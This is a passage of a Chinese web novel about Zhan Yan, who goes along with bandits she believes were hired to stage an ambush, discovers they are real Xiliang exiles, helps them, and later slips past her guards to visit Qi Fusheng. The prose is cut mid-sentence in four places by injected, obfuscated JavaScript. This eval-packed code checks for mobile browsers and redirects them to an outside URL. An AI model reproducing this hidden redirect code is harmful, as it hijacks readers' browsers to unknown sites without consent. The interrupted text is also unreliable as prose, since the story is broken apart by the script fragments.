她立刻调整好表情,连忙装出一副惊慌失措的样子,抓住展清梦的手道:“阿姐!这是怎么回事!我们莫不是遇到山匪了?” 展清梦脸色微变,刚要安慰,话还未说出口,只见一旁的车帘被“唰”得一下挑开,泛着寒光的刀刃出现在二人的视线里。 透过窗子,展颜看见车夫和秋果等一并丫鬟都被控制住了。 哦豁,演得还挺有模有样的嘛。 一张凶神恶煞的刀疤脸透过车窗探了进来,注视着二人,狞笑道:“此路是我开!此树是我栽!要想从此过!留下买路财!” 像! 太像了! 这个山匪头子不仅台词背得经典背得溜,连脸上的刀疤都画得栩栩如生! 演得太好了!展颜差点鼓起掌来。 偷偷瞄一眼身侧的展清梦,展颜见她脸色发白,心里暗喜,计划通,阿姐果然被吓到了。 展清梦是被吓到不敢吱声,展颜则是欣赏过头了,刀疤脸见马车里的两人都没反应,不耐烦地吼道:“聋了?老子说留下买路财!” 展颜立刻入戏,挺直腰板,装出一副大义凌然的样子:“这位好汉,我们姐妹二人只是去寺庙里上香,身上没有带多少银子……” “没钱?”刀疤脸闻言冷笑一声,指了指这辆马车,“你当老子傻?能坐得起这样子的马车你跟我说你没钱!” 说着,刀疤脸手里的刀往马车里探进了几分,展清梦见状害怕得紧,但还是将展颜拉至身后,轻声说:“阿颜别害怕,只要阿姐在,就没有人能够伤你。” 虽然是演戏,但展颜还是被感动到了,但是阿姐对不起啊,这次又骗了你。 刀疤脸闻言又是一声冷笑:“在老子眼前还演什么姐妹情深的戏码!没钱?” 他的目光在两人身上扫了一圈,突然露出猥琐的笑容:“那也行,绑一个回去当压寨夫人!” 展颜差点笑场,祁浮生安排的剧情还挺刺激,这编辑还有两把刷子的嘛,她懂,她都懂,这个时机就是让她展颜美美退场的机会,为了给展清梦和祁泽川创造二人世界嘛。 于是她立刻举手:“我来!绑我!” 展清梦一把拽住她:“阿颜!你疯了!” 展颜冲展清梦挤眉弄眼,压低声音道:“阿姐你放心!我不会有事的!阿姐别怕!肯定会有人来救我们的!” 可展清梦哪里听得懂,还没等她反应过来,展颜就已经“英勇”地跳下马车,昂首挺胸地对刀疤脸说道:“我跟你们走!放过其他人!” 这次轮到刀疤脸和重山匪面面相觑了——这年头,还有人主动当人质的? “小丫头,你脑子没病吧?”刀疤脸狐疑地打量着展颜。 展颜心想,这演员还挺敬业,临场发挥呢,真实!太真实了!她可不能掉链子! 于是乎,展颜更加入戏,义正言辞道:“少废话!要绑就绑我!” 刀疤脸挠了挠头,嘀咕道:“头一回见这么配合的……” 旁边的山匪小声问:“老大,这个丫头不会是一个傻子吧?” 刀疤脸摸了摸下巴:“管她呢,绑回去再说!” “哎等等!”展颜紧急叫停。 山匪:这回对味了。 展颜从袖子里抽出一张纸片,是之前祁浮生画过风筝的那张:“我写个‘遗言’。” 山匪:“?” 三两笔画完,展颜将纸片揉成一团给了展清梦叮嘱道:“阿姐你千万别看,将这个纸团给祁浮生,他会有办法救我的。” 马车的车轮已经深深陷进了山匪早早挖出的巨坑里,大概率是报废了,连带着马车前的那匹白马也一并被山匪给劫走了。 于是,展颜雄赳赳气昂昂地跟着山匪走了,临走前还不忘回头冲展清梦挥手:“阿姐别担心,到时候你得救了记得派人通知我!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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按道理来说,即使“山匪计划”没有成功,再怎么说也可以给展清梦和祁泽川制造一个“恰好”的和谐偶遇吧。 可现在。 祁浮生手忙脚乱地从树上滑了下来,结果落地时一脚踩空,险些摔了个狗啃泥。 祁泽川勒住马,低头看着突然出现在面前的二弟,眉头紧皱道:“浮生!今日事发紧急,大哥没有时间和你再切磋骑术,展家路遇山匪,展二姑娘已经被山匪劫走了,快快回去寻人来救人!” 祁浮生:“啊?” 他的大脑一片空白,山匪?山匪不是还在这里站着吗? 祁浮生雇来的“山匪”此刻正津津有味地听着两人的对话,还以为要新派发什么临时任务。 原先骑在马上的展清梦就已经脸色难看,在看见祁浮生身边山匪打扮的人时,更是不由自主哆嗦了一下。 可等冷静下来后,结合展颜临走时那一副无畏的样子,展清梦便大概清楚了事情的来龙去脉。 “这是你们两个安排的?”展清梦的声音颤抖,心里的焦急感更上一层楼,那这就意味着劫走展颜的是真的山匪,更糟糕的是,展颜还被蒙在鼓里。 “阿颜还以为那些人是你安排的……主动……跟他们走了。” 展清梦想起来展颜走之前给她的纸条,急忙将揉得皱皱的纸团递给祁浮生:“阿颜走之前让我给你的。” 祁浮生接过纸条一看,上面画着个歪歪扭扭的小人,疑似画的是展颜自己,举着个牌子,写着:“我和山匪走啦,记得事成之后通知我!” 旁边还画了个笑脸。 祁浮生:“……” 完了,演脱了。 19.山匪 一路上展颜就这般骑着马跟着山匪一行人往山沟沟里头行进。 第一次骑马,屁股被颠得有些疼,但展颜没说,毕竟山匪还有走着的,人家老演员都没说累,她也不好说。 夕阳只露出半张脸挂在山腰上,金粉色的彩霞笼罩着翠绿的山脊,绵绵的青山蜿蜒至远方。 转过几道山坳,一片古朴简易的小山村出现在展颜的眼前。 远远望去,大门顶部端端正正地挂着一面牌匾,写着洋洋洒洒的三个大字“青龙寨”。 溪水自寨后而过,几个妇人蹲在河畔捣衣,棒槌起落间溅起晶莹的水珠,一旁的青草地上,孩童们举着用破布缠着的木剑追逐着,稚嫩的笑声回荡在山林间。 祁浮生有两把刷子啊,原来是找了当地人来演戏,难怪演得这般出神入化,展颜赞叹道。 “当家的回来了!”站在大门口晾衣服的一位妇人抹着湿漉漉的手迎接上来,发髻上别着的野花随着步子轻轻摇晃。 展颜被扶下马,好奇地四处张望。 “这位好汉,怎么没有看见你们的主雇啊?”展颜环视一圈,没有看见祁浮生的身影,于是问道。 刀疤脸没有回答她。 “这位是?”方才的那位妇人面上带着和善的笑意,见当家的带了个服饰精致,头面华丽,一看便是有头有脸人家的姑娘回来。 “路上劫的。”刀疤脸言简意骇。 “啊?”妇人面上不悦,怪道,“上次和你怎么说的,不要再做这种害人害己的勾当了!你怎么就是不听呢!” 刀疤脸道:“我心里有数,你就不要管了。” 随后,他又转头对着方才一路牵着展颜马的那个山匪道:“把她绑起来先扔到寨子的柴房里捆着。” “你!”刀疤脸又对另外的一个小弟道,“你查查这丫头什么身份,派人送信,让这丫头家里人准备好银子赎人,告诉他们要是三天之内没有回消息,就再也别想看见这丫头了!” 一帮人有商有量地行动起来,只留下在一旁站着越来越糊涂的展颜。 有人走到展颜的身后用一根粗麻绳将她的双手紧紧捆绑在身后,瞬间展颜白细的腕间擦红一片。 “那个好汉,现在可以不用演了,我们只要等到祁浮生就是雇你们演这一场的那个家伙来就好了。”内心揣揣不安起来,一个不好的念头在展颜脑海里闪现,不会吧。 “演什么戏!老子哪有功夫陪你演戏!”这回刀疤脸终于回应了展颜的话。 就像是一桶凉水瞬间从头到脚将展颜浇了个遍,一股后知后觉的恐惧劲这才袭上心头,小心脏像是被无数只手紧紧揪住。 “这个时候就不要开玩笑了嘛大哥。”展颜谄媚道。 “哎哎哎!好汉好汉好好说嘛!哎呦!”展颜被推搡着进了一间堆满干柴的小木屋里,摔了一个屁股蹲儿,疼得眼泪直冒。抬头一看,四周全是凶神恶煞的山匪,正用看肥羊的眼神盯着她。 展颜:“……” 完了!这是真的山匪窝啊!!! 这种小说里八百年都不常见的老土乌龙事件为什么会被自己碰上啊! 她哆哆嗦嗦地往后缩,脑子里疯狂闪过祁浮生那张欠揍的脸,祁浮生!你个不靠谱的王八蛋! 刀疤脸蹲下来,狞笑着捏住展颜的下巴:“小丫头,现在知道怕了?” 展颜咽了咽口水,强壮镇定,但是颤抖的声线却暴露了她的恐惧:“好汉你放过我吧,这就是一个误会。” 刀疤脸哼了一声,站起身走出了柴房,将门砰得一声关上,对着守门的人道:“把门看严实了!别让她跑了!” “是!” 完了。 *** 柴房低矮逼仄,虽然还算干燥,但霉腐的气息还是有些浓重,混杂着枯木的苦涩与泥土气味,不可避免地直往展颜的鼻子里钻。 夕阳已经全数落下山去,柴房里没有油灯,黑漆漆一片。隐约可以看见四壁堆叠的柴火扭曲如痉挛的手指,在昏暗中泛着灰白的光。 脸上不时有丝丝的痒意,展颜严重怀疑是屋子里哪里飘来的蜘蛛丝。 救命啊,这跟恐怖片有什么两样啊,她还只是一个刚到二十,哦不对,只有十六岁的小姑娘啊……展颜在心里哭嚎。 要是爹娘阿姐,祁浮生找不到她会怎么样啊,她会不会就被宰了啊。 不可以自暴自弃啊展颜!展颜给自己打气,不停地灌毒鸡汤。 小说都怎么写的,主角被绑住的时候,一般都可以找到割断绳子的锋利碎片。 她向着四周的地面上摸索着,由于两只手的手腕被绑在一起,并且手腕还同时绑在了背后的一根木头柱子上,展颜只能尽量向后躺,让后背靠近地面,这样才能勉强触及地面。 不过没多久她就放弃了,因为整间柴房里除了柴火就是柴火,连一颗锋利的小石子都没有。 好的,展颜强颜欢笑,她不是主角这个办法行不通她认了。 那就换一个,小说里的配角一般都是怎么自救的呢? 嗯…… 呃嗯…… 一阵沉默。 展颜发誓,她把她能想到的配角自救指南都想了一遍,没有!配角到这个时候除了栽赃嫁祸主角就是自己得到应有的惩罚。 难道她堂堂造世主就要葬送在这片她书里都不曾提及到过的地图碎片里了吗?展颜绝望。 可就在这时。 展颜自暴自弃地将手腕向相反的方向意外地扯动了一下,嗯?这是什么感觉? 寻着方才腕间摩擦的触感,展颜又使劲一扯。 ……好家伙,怎么把这一茬给忘了。 手腕间的绳结被扯开了些,而那绳子间被扯出的空隙,足够展颜磨磨蹭蹭地将手挪出来了。 这个世界不仅和小说一样离谱,还借鉴了影视剧,就比如说,反派那永远都绑不紧的禁锢。 之前因为这个bug,展颜还特别发过一个长评来批判这个粗心之过,现在好了,感谢有你,她发誓以后再也不随便骂了! 揉了揉已经发麻的手腕,展颜尝试着在黑暗中摸索着站起身,蹑手蹑脚地走至门口,悄悄透过门缝往外看,门口只站着一个守门人,不过约莫看着年纪并不大,应该是这个寨子里的少年。 展颜目测自己是打不过的,便又向四周观察,除了大门还有三扇窗户,不过很遗憾都被封起来了。 正在展颜打算是否要破门之际,门外传来一个姑娘的声音。 “凉隼。”清冽咧的声音如同雪山间流淌的叮当山泉,“这是里面这位姑娘的吃食,先给她松绑。” 少年点头,转身走近。 展颜一个踉跄赶紧坐回到木头柱子前面,手忙脚乱地摸索着地上散开的麻绳,想要尝试把自己重新绑起来。 事实就是,她太高估自己了。 大门打开的瞬间,展颜一脸无辜,双手与麻绳奋战的场面就这样呈现在凉隼和凉钰的面前。 “如果我说,我是想把自己重新绑起来,你们会相信吗?” *** “好香啊!”展颜学着凉钰的样子席地而坐在柴房的门槛上,左手托着一个木头制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557947|169825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成的盘子,右手拿着一只烤羊腿,“你们寨子里的人质吃的都这么好的吗?” 烤羊腿冒着滋滋的香油,一股孜然味,和展颜在现实世界吃到的烧烤味道几乎一模一样,京城里可没有这种好吃的东西。 “也没有,是阿嬷说今天把你劫到寨子里唐突了,怕你受苦特意让我给你送了点吃的。”凉钰坐在展颜的身边道。 吃羊腿的间隙,展颜的余光看见凉钰有些痴迷地将目光流连在她发髻的珠钗首饰上。 “你喜欢这个?”展颜边嚼边含糊地说道。 “没有。”凉钰有些尴尬地收回目光,摸着自己的手指,“我只是有些好奇你们京城的姑娘都打扮得这般好看吗?” “你没有进过京城吗?”展颜惊讶,按道理来说,这莲宜山和京城的距离很近,从山里去一趟京城应该还算方便吧。 凉钰低下头:“阿嬷说我们是山匪,不能进京城,会被抓。” 展颜吃羊腿的动作一顿,敏感地察觉到了凉钰情绪的波动,抱歉道:“不好意思啊,那个可以问一下你们为什么会做山匪吗?” 京城虽然是繁华之地,但是土地还是有的,据她这个作者的记忆,京城边上的土地应该都种满了农作物,农民也不至于没有田种吧。 “我们不是大燕的人,我们来自西凉。”凉钰看着展颜缓缓开口道。 来自西凉? 展颜这才后知后觉地注意到凉钰和凉隼以及之前把自己劫来的那一群人的衣着打扮确实和京城里的百姓有些不同,他们的衣服上点缀着很多类似于动物毛皮的毛边,首饰也不是什么宝石珠玉,更多的是一些彩色的小石子。 “十一年前,西凉被大燕攻陷,主君被杀,小主君下落不明,我们本来是要被就地斩杀的,但是幸得贵人相助,才免去了死罪,族人就一同来了这大燕的京城。”凉钰说道,“可是京城里没有我们的安身之地,我们傍身的活计也是牧牛羊,不会种地,阿嬷阿爸就只能带着族人躲进山里。” “我们还是靠自己的技艺生活的,只是在不得已的时候,阿爸才会带人进山扮作凶狠的山匪,劫些财。”凉钰的声音越来越轻,似乎是怕被展颜看不起。 展颜听着,心里很不是滋味,嘴里的羊腿都不香了,她摘下头上的一只珠钗,小心地给凉钰戴上。 “这。”凉钰一惊就要摘下来还给展颜。 “送给你了,就当我给你的见面礼。”展颜道,她算是知道小说里的女主为什么老喜欢送人东西了,换做是她,她也忍不住啊。 转头,展颜又看向一旁靠着门板站着,到现在为止未发一言的凉隼,“那个,不知道你喜欢什么,到时候我差人再给你送行吗?” 凉隼慌乱地移开方才一直注视着展颜的目光,耳根子泛起了可疑的红晕:“不用。” “凉隼就这样,他不太说话。”凉钰在一旁解释道。 展颜会意点点头。 正在这时,柴房对面的小路上传来急匆匆的脚步声。 糟糕有人来了! 展颜在凉钰和凉隼疑惑的目光下,急忙放下手里快啃完的羊腿,一个跳步跑回柴房,赶紧将绳子往自己的手上绕。 “帮个忙。”展颜对凉钰道。 可是又来不及了,刀疤脸已经出现在了柴房门前,后面还跟着许多的寨人。 “如果我说我只是为了松绑吃顿饭你信吗?” 展颜觉得自己这回肯定是在劫难逃了,欲哭无泪。 结果。 扑通一声,刀疤脸一下子跪在了展颜的面前。 展颜:“?” 20.拯救 什么情况? 下一秒,刀疤脸抱拳呵道:“在下有眼不识泰山,竟绑了展太傅的千金!失敬失敬!” 被稀里糊涂地请到正厅,展颜还未从人质秒变座上宾的落差中反应过来。 寨子里的人忙碌地在桌上摆上牛羊肉,甚至端上了寨子里过节时才能吃上一点的白面馒头。 刀疤脸一改之前凶神恶煞的态度,面上带着敬畏,拿起桌上的酒壶,给展颜倒了一碗酒:“方才才得知姑娘竟然是展太傅的女儿,在下凉成,展太傅是我们的大恩人,今日让展姑娘受惊实属是在下之过!我以此碗酒敬姑娘,还望姑娘大人大量!” 凉成将手里满满一碗酒一饮而尽。 经过“山匪”们一通嘘寒问暖之后,展颜终于算是弄清楚事情的原委,自己这次逢凶化吉还要多亏了爹爹。 “十一年前,西凉城被破,展太傅作为随军的军师冒着生隙之嫌,向大燕皇帝为我们西凉的百姓求情。”凉成面带回忆叙述着往事,感慨万千,“我们这才留下一命。” “大燕皇帝惧怕西凉卷土重来,便将西凉的臣民俘虏来了燕京,他是想让我们生死无依,最后客死他乡,我们只好躲进这山里,其他都好说,只是这粮食是最要紧的,为了活下去我们只好扮作山匪劫掠过往的马车。”凉成道,“但是我们从没有伤过人!不仅如此我们还要时时刻刻防着朝廷剿匪的官兵。” “哎呀,恩人姑娘来一次我们这你就让她好好玩得尽兴,说这些陈旧的事情干甚。”那个展颜在寨子门口见到的妇人说道,“展姑娘,你唤我成嫂就好,我们这里不比京城里,让你受委屈了。” 展颜连忙摇头:“不委屈。” 她倒是觉得这里好极了,没有京城贵人圈的弯弯绕绕和虚与委蛇。 青龙寨的正厅里一下子来了许多人,大家听说展太傅的千金来了,都想来看看。 一下子被这么多目光注视着,即使展颜是个超级大e人,她此刻也是拘束得不行。 展颜觉得自己的裙角被什么东西拽了拽,疑惑低头,一个脸圆圆的长得像瓷娃娃一般的小女娃正抬着一张软萌的脸望着她。 “姐姐,你的爹爹真的是大好人吗?”小女娃的声音奶奶的。 “应该是吧。”展颜的声音不由自主地夹了起来。 “那姐姐可不可以让你爹爹送点白馒头给我,我已经好久好久没有吃——” 小女娃的话还没有说完,就被成嫂一下子抱走了,面上带着歉意,成嫂赔着不是:“展姑娘冒犯了,小孩子不会说话。” 看着被大人抱走的小女娃,展颜愣住了,心里像是空落了一块,桌上摆在自己正前方的白面馒头还在冒着热气。 “成大哥,你们寨子里很缺农作物吗?”展颜问道。 “缺。”凉成无奈道。 “那这样,我也不知道该如何帮你们,我看你们这养的牛羊多,可你们没法入城,要不我从中做个媒,将你们的牛羊送往京城里的集市换取相对应的粮食,你看是否可行?”展颜试探问道。 凉成的手感激到微微颤抖,一个撤步又想给展颜跪下了。 “别别别!”展颜忙道。 “展姑娘也如同展太傅一般菩萨心肠,凉成感激不尽!” “那我也不好再叨扰你们了,要不我现在就下山?”展颜道。她来寨子里已经有些时间了,祁浮生他们肯定已经察觉到了不对,指不定现在着急得很,她也不想让爹娘和阿姐担心。 一旁的凉隼开口道:“夜黑,不行。” 展颜:“?” 凉钰帮忙解释:“他的意思是晚上山路黑,又有野兽出没,不安全,你还是今晚就在这寨子里歇下,明早天亮了,我们送你回去。” 展颜思考后点点头,也是,夜路难走,明日再出发也好。 展颜被凉钰带到了她的屋子。 “展姑娘将就一晚吧。”凉钰把床铺收拾了一下。 青龙寨夜里十分安静,躺在床上只能听见屋子里火堆燃烧时的噼啪声,这在展颜的耳朵里就如同白噪音一样。 今日真真是折腾够了,也甭管那床板硬的像棺材板,枕头里塞的是干草,展颜的后背一沾上床铺,连三只羊都没数到就昏天黑地睡过去了。 梦里,她正坐在桌子边上啃鸡腿,祁浮生坐在旁边给她剥虾,一边剥虾,一边抱怨道:“展二姑娘,小的知道错了……” 展颜笑得嚣张:“错哪里了?” 这种支配祁浮生的感觉好爽,哈哈哈哈哈,有仇必报,不是不报,时候未到啊!展颜笑着,口水都流出来了。 祁浮生:“你适可而止啊……” 展颜刚想反驳。 “砰!!!” 一声巨响,房门被人猛得打开。 展颜被惊醒,“嗷”一嗓子从床上弹起来,像一只受惊的猫,头发乱乱的:“谁!谁要偷袭本姑娘!?” 凉钰提着灯笼冲进来,脸色煞白:“展姑娘快跑!官兵杀到寨子门口了!” 展颜:“啊?” 官兵?什么官兵? 还没等她反应过来,外面已经乱成一锅粥了。 “咚咚咚!”寨里的人慌慌张张奔出屋子。 “我的鸡!别踩到我的鸡!”隔壁大姨听到自家鸡的惨叫声心疼道。 “快点快点!” …… 展颜睡懵了,终于反应过来,连鞋子都来不及穿,光着脚就往外冲。 一出门,山寨大门外火光冲天,马蹄声震得地面直颤,隐约还能听见有人的吆喝声。 展颜腿一软,想到凉成在饭桌边说的话,完了……这是来剿匪来了?可是不对啊! 凉钰冲过来,一把拽过展颜往后山跑:“展姑娘!从这里跑!” 展颜被拖着跑,不理解道:“不是……他们肯定是来找我的,你们把我交出去不就好了吗,为什么要跑?!” 她觉得自己想得很有道理,试图说服凉钰。 但是。 凉钰一脸愧疚:“展姑娘,我们现在还不能把你交出去,官兵恃强凌弱,言而无信,若是我们把你交出去,整个山寨都会生死难料的!” 展颜心里升起的“道理”瞬间破灭,因为她闹的这一场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569073|169825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乌龙,这是……害了这一寨子的人? 愧疚感爬上展颜的心脏,喉咙,脸颊。 昏暗的山沟,现下被无数的火把照得亮如白昼,寨子里一片狼藉,寨门已经挡不住高大的马匹,剿匪的士兵闯进了寨子。 正跑着,展颜听见一声熟悉的嗓音喝道。 “展颜!你在哪儿!” 展颜猛得刹住脚,祁浮生? 这声音是祁浮生那混蛋? 这就好办了! 她一把甩开凉钰,扭头就往火光处跑。 如果是祁浮生,为了避开所有与傅朝尘利益相关的人事,他带来的肯定不是官府的人,只能是祁泽川手下的士兵! 青龙寨不会有事的! 凉钰惊道:“展姑娘!危险啊!” 展颜头也不回地喊:“没事的!我有办法!” *** 当展颜顶着一头乱发,光着脚丫,像只炸毛的鹌鹑一样冲进火光中时,祁浮生正举着火把,向着守在寨子里的最后一批寨民逼近。 前面一排的士兵训练有素地持着矛盾,直把凉成、凉隼等人逼得节节后退。 “再不交人,小爷把你们的寨子给端了!”祁浮生一改往日嬉皮笑脸的模样,现在的表情冰冷的可怕。 凉成不置可否冷笑一声:“难道我们交出人质你们就会放过寨子吗!你当我们傻!” 凉成等人被包围着,祁浮生这边也不敢贸然行动,毕竟未知展颜现下的安危。 形势危急,“战火”中心被士兵和寨民包围在中间,任凭展颜如何跳跃,都吸引不来祁浮生的注意。 展颜深吸一口气,蹲下身,抄起地上一颗石子,“嗖”地朝着祁浮生砸过去。 “祁浮生!” 石子精准命中祁浮生的后脑勺。 “嗷!” 祁浮生捂着脑袋回头,本是一脸怒气眉头紧皱,在看到展颜的一瞬间,眼睛瞪得像铜铃:“展颜!” 脸上怒气像是被水一下子浇灭了,庆幸和疲态终是呈现出来,祁浮生将手里的火把随意丢给身边的士兵,飞快拨开人群冲到展颜的身边,抓着她的肩膀上下打量,语气急促:“他们没有欺负你吧!受伤没!饿到没!” 展颜翻了个白眼:“托你的福,我差点被当成贡品供起来!” “没事就好,没事就好。”祁浮生道。 紧张的氛围被展颜这么一“打搅”,瞬间变了性质。 “你快收手,这些山匪都是好人。”展颜道,“我们现在可是一伙的。” 祁浮生一愣,把手抚上展颜的额头:“没发烧啊?你要是被绑架了就眨眨眼。” “哎呀!没开玩笑。”展颜拍开他的手。 在展颜的搭桥之下,众人也是了解清楚了事情的原委。 祁浮生和凉成握手言和,趁着天还没亮,展颜一行人秘密地下了山,青龙寨修复原样。 展颜信守承诺,差使了下人定期到青龙寨进行物资交换。 这场闹剧终于结束,一切都仿佛步入了正轨。 除了。 祁浮生。 21.翻墙 回府那晚,展颜的前脚刚踏进展府的大门,就被早早一直守在大门后的展清梦一把拉过,紧紧搂进怀里。 “阿姐,你还没睡呢?”展颜几乎要被展清梦搂到喘不过气来了。 “你让阿姐如何睡得着!”展清梦松开展颜,拉着她的双手还打着颤,将展颜前前后后,上上下下看了个遍。 “阿姐我没事的,你看这不是没有缺胳膊少腿的吗。”展颜开玩笑。 “你真是心大,还有心情打趣你阿姐。”展清梦边说边拉着展颜往后院走。 展府沉寂在一片寂静里,偶尔可以听见池塘里传来的几声蛙鸣。 “爹和娘呢?他们应该还不知道我被山匪劫走的事情吧?”展颜见展府里安静得很,爹和娘的屋子里也没有点灯。若是知道她被山匪劫走了,这会子府里绝对不会是现在这幅样子,定然鸡飞狗跳。 展清梦颤抖的声音渐渐稳定下来:“我同爹娘搪塞过去,说你一时贪玩,还不想回府,不然指不定他们会急成什么样。好在祁家还算靠谱,把你安然无恙地救回来了。” 两人进了屋子,坐在桌边,展颜将寨子里发生的事情一一同展清梦说了。 好在展颜现在已经没事了,展清梦长舒一口气,倒了一杯茶递给展颜。 “以后可不能在这样任意妄为,若是你今日回不来,阿姐可不会随意放过那祁浮生。” “噗——”展颜刚喝下去的茶差点儿喷出来。 “我同祁家大公子的事情,阿颜以后也不用特意关心了。”展清梦道。 这…… 这是被发现了? 展颜不免有些心虚:“阿姐,你都知道了?” 展清梦见她这一副像是做错事情的模样,笑着伸出手摸了摸展颜的发顶,帮她理了理乱掉的头发:“阿姐只是平日里不说,可阿姐也不眼瞎,你和祁家二公子一起弄了这么一出,不就是想让我和祁大公子有些进展吗。” “那阿姐究竟是如何看待祁大公子的?”既然事情已经败露,展颜也就不藏着掖着,直接打开天窗说亮话,将事情摆到明面上来,趁热打铁。 “父母之命,媒妁之言,这与我如何想的又有何关系。”展清梦道。 展颜眉头一皱:“谁说的!喜欢才是最重要的,我不信阿姐对祁大公子没有感情。” 她的男女主就该在一起,没有感情?不可能的! 展清梦到底是女儿家,听着她将这感情之事如此直言不讳地说出口,难免红了脸颊。 “这……” “说嘛,阿姐你说嘛。” “我……” 这时,屋外传来一阵急促的脚步声,门被刷得一下打开,秋果直接冲进了屋子,抱住展颜就大声哭起来。 “呜!姑娘你终于回来了!吓死秋果了!吓死秋果了!” 秋果根本不给展颜开口的机会,小嘴叭叭的。 展清梦见时机正好,为了避开展颜的问题,便让秋果将展颜带回她自己的屋子。 秋果自然领命,认为自己家姑娘在山里受了天大的委屈,根本不等展颜抗议就把人拉走了。 哎,展颜无奈,算了算了,过段时间再问吧。 *** 天色不错,展颜在后院里闲逛着,逛累了就坐在院子的石亭里歇息。 昨日晚上回来后到现在,她还没有听到关于祁浮生的消息。 但是按照她昨晚观察到祁泽川的脸色来看,祁浮生肯定是不会有好果子吃的。 正想着,秋果端着一盘刚清洗好,还沾着水珠的紫葡萄兴冲冲地跑进石亭。 “姑娘快尝尝,这是老爷今早从宫里领来的赏赐,江南今年送来的葡萄,可新鲜了!”秋果道。 摘下一颗,褪去外头的葡萄皮,里头的果肉泛着果绿色,隐隐还冒着葡萄特有的果香气。 “甜哎!”展颜惊呼,没忍住一口气吃下许多。 秋果看着自家姑娘傻笑着。 “今日怎么这么开心?”展颜好奇道,说着,吐出一块葡萄皮。 “姑娘安然无恙,秋果自然高兴。” “这就能高兴成这样?” 秋果吞吞吐吐道:“其实也不全是吧,方才秋果听见关雎院里的下人们说的,说是昨晚祁家二公子被大公子罚跪了一晚上的祠堂,祁二公子害得姑娘差点遇到危险,秋果是觉得这也太解气了!自然就开心了些。” 手里的葡萄“啪嗒”掉到了地上,展颜闻言愣住。 哈? 哎呀妈,这倒霉的家伙又被罚了。 哎,终究是一个地方来的,算是半个“娘家人”。 那她就做个好人,前去慰问一下他的伤势吧!展颜大发慈悲地想。 看看!离开她谁还把他当小孩!展颜咂舌。 “姑娘你去哪?”秋果见展颜起身就往院子外走,急忙跟上去问道。 “我去趟祁府,怎么了?”展颜见秋果一脸为难的表情。 “那个……大姑娘在院子外安排了人,说是知道你迟早要去找祁二公子,怕你再遇到危险,不让你去祁府。”秋果道。 展颜:“……” 说了不能去祁府,可没说不能出门啊。展颜思考一瞬,眼睛微眯,有办法! *** 正午时分,京城的大街上热闹非常。街道两侧,各式的店铺招牌高低错落,没有铺子的小商贩就推着独轮车沿街叫卖。 展颜手里拿着一根冰糖葫芦,走在街上,时不时往两侧的店铺里张望几下。 “姑娘,这样真的可以成功吗?”秋果缩着脖子,轻声问。 以前二姑娘惊天地泣鬼神的事情也没少做,但是这次,属实又是一次新的尝试,秋果心里没底。 展颜咽下嘴里的山楂,神采奕奕道:“你放松点,这京城里的点心铺子我都已经摸透了,再往前过一条街就是蒋氏的糖铺,那家铺子有个后门,我们从后门走,再往西跑两条街就是祁府后院,肯定没问题的!” 秋果紧张地回头看了一眼身后不远处跟着的下人。 “哎哎哎,别看,做坏事的第一步就是不能心虚。”展颜将秋果的脸摆正,“目视前方。” 不一会儿,蒋氏糖铺的招牌出现在两人的视线里。 “准备好,我说跑就跑。”展颜道。 “嗯!” “三、二……一!” 展颜拉过秋果就一头钻进了都是客人的糖铺,直奔后门。 身后传来混乱的脚步声,她一个头都没回,出了糖铺的后门一路顺风顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569074|169825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水地跑,身后追着的脚步声渐渐消失。 “姑娘……到了……” “呼——” 停下脚步,背靠在祁府后院的墙壁上,展颜喘着气,努力平复因为运动而剧烈的心跳。 缓过来后,展颜向着四周张望,这里是一条小巷,平常也没有什么人经过。 墙角叠着一个捆绑起来的稻草,还有一些废弃的竹筐。 *** “姑娘你小心点!”秋果在院墙下急得团团转,伸着手摆在展颜的身后,怕她不小心跌下来。 “没……事,简单!”展颜将几捆稻草叠在一起,又在稻草上倒扣上一个竹筐,用手比划两下丈量高度。 “没问题了,秋果你护着点我哈。”展颜扶住秋果的肩头,借着力,踩上竹筐,伸出手一把抠住院墙上的青瓦。 好样的!第一步做到了! 秋果按照展颜交代的又加了一个竹筐上去。 一只脚踩在竹筐上,两只手都扒上了墙头,展颜右脚一抬,跨上院墙,随后用尽力气一拉,终于,坐上了墙头。 究竟谁说的爬墙头容易的,这简直就是在考验她的引体向上,展颜发誓她不想再爬第二次了。 